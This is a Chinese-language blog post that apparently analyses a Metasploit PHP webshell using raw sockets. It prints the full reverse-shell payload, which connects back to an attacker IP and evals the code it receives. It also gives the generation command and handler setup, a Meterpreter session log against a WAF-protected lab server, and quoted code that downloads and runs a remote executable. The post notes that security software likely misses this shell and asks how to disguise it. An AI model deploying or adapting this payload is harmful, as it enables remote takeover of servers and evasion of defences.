Metasploit 之使用socket通信的webshell简单分析
0x01 前言
常规的webshell都是调用该语言中常用函数来完成读取、执行等操作,从协议上来讲是采用http/https协议。但是和服务器通信还有另外一种方式:socket通信。
常见的脚本语言asp,php,jsp,都可以实现对应的socket编程。例如使用msf中:
msfpayload php/reverse_php LHOST=自己的IP LPORT=端口 R > sha1.php
生成的php_webshell:
#<?php
error_reporting(0);
# The payload handler overwrites this with the correct LHOST before sending
# it to the victim.
$ip = '192.168.1.5';
$port = 2013;
$ipf = AF_INET;
if (FALSE !== strpos($ip, ":")) {
# ipv6 requires brackets around the address
$ip = "[". $ip ."]";
$ipf = AF_INET6;
}
if (($f = 'stream_socket_client') && is_callable($f)) {
$s = $f("tcp://{$ip}:{$port}");
$s_type = 'stream';
} elseif (($f = 'fsockopen') && is_callable($f)) {
$s = $f($ip, $port);
$s_type = 'stream';
} elseif (($f = 'socket_create') && is_callable($f)) {
$s = $f($ipf, SOCK_STREAM, SOL_TCP);
$res = @socket_connect($s, $ip, $port);
if (!$res) { die(); }
$s_type = 'socket';
} else {
die('no socket funcs');
}
if (!$s) { die('no socket'); }
switch ($s_type) {
case 'stream': $len = fread($s, 4); break;
case 'socket': $len = socket_read($s, 4); break;
}
if (!$len) {
# We failed on the main socket. There's no way to continue, so
# bail
die();
}
$a = unpack("Nlen", $len);
$len = $a['len'];
$b = '';
while (strlen($b) < $len) {
switch ($s_type) {
case 'stream': $b .= fread($s, $len-strlen($b)); break;
case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
}
}
# Set up the socket for the main stage to use.
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
eval($b);
die();
?>
0x02 实例
本机 (192.168.1.5) : win03+msf+ie
测试服务器(192.168.1.108): win03+apache+safedog
设置相关模块:
msf > use multi/handler
msf exploit(handler) > et PAYLOAD php/meterpreter/reverse_tcp
[-] Unknown command: et.
msf exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.5
LHOST => 192.168.1.5
msf exploit(handler) > set LPORT 2013
LPORT => 2013
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
使用浏览器访问木马地址(假设我们已经上传到目标机):
http://192.168.1.108/sha1.php
成功返回一个Meterpreter session:
msf exploit(handler) >
[*] Started reverse handler on 192.168.1.5:2013
[*] Starting the payload handler...
[*] Sending stage (39217 bytes) to 192.168.1.108
[*] Meterpreter session 2 opened (192.168.1.5:2013 -> 192.168.1.108:1052) at 2013-01-08 20:13:52 +0800
msf exploit(handler) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
2 meterpreter php/php SYSTEM (0) @ WIN03SP0 192.168.1.5:2013 -> 192.168.1.108:1052 (192.168.1.108)
msf exploit(handler) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > sysinfo
Computer : WIN03SP0
OS : Windows NT WIN03SP0 5.2 build 3790 (Windows Server 2003 Enterprise Edition) i586
Meterpreter : php/php
meterpreter >
如图,phpspy.php安全狗正常拦截,sha1.php正常运行:
然后我们可以执行诸如ls列目录,ps查看进程信息等命令。
0x03 分析
在0x02中在获取的Meterpreter sessions中我们使用
meterpreter > execute -f c:\\sha1.exe
这个命令来执行可执行文件,如图所示:
从数据包我们可以看见使用了dapi_sys_process execute这个方法,那么meterpreter是如何发起请求的?msf的源码中查看,找到execute有关的源码(ruby文件)
def php_exec_file
exename = Rex::Text.rand_text_alpha(rand(8) + 4)
dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
shell = <<-END_OF_PHP_CODE
if (!function_exists('sys_get_temp_dir')) {
function sys_get_temp_dir() {
if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }
if (!empty($_ENV['TMPDIR'])) { return realpath($_ENV['TMPDIR']); }
if (!empty($_ENV['TEMP'])) { return realpath($_ENV['TEMP']); }
$tempfile=tempnam(uniqid(rand(),TRUE),'');
if (file_exists($tempfile)) {
@unlink($tempfile);
return realpath(dirname($tempfile));
}
return null;
}
}
$fname = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "#{exename}.exe";
$fd_in = fopen("#{datastore['URL']}", "rb");
$fd_out = fopen($fname, "wb");
while (!feof($fd_in)) {
fwrite($fd_out, fread($fd_in, 8192));
}
fclose($fd_in);
fclose($fd_out);
chmod($fname, 0777);
$c = $fname;
#{php_preamble({:disabled_varname => dis})}
#{php_system_block({:cmd_varname => "$c", :disabled_varname => dis})}
@unlink($fname);
END_OF_PHP_CODE
#return Rex::Text.compress(shell)
return shell
end
0x04 总结
这种方式执行的webshell,一般的安全防护软件应该还没对此进行监控与防御。大概原因在于这种方式的webshell的利用不是那么方便。但是如果哪位大神有好用的工具,这种webshell还是不错的。
0x05 问题
1.是否有安全软件对这种shell有防护效果
2.这种shell本身是否有什么缺陷
3.如何防这种shell
4.如何变形
5.more..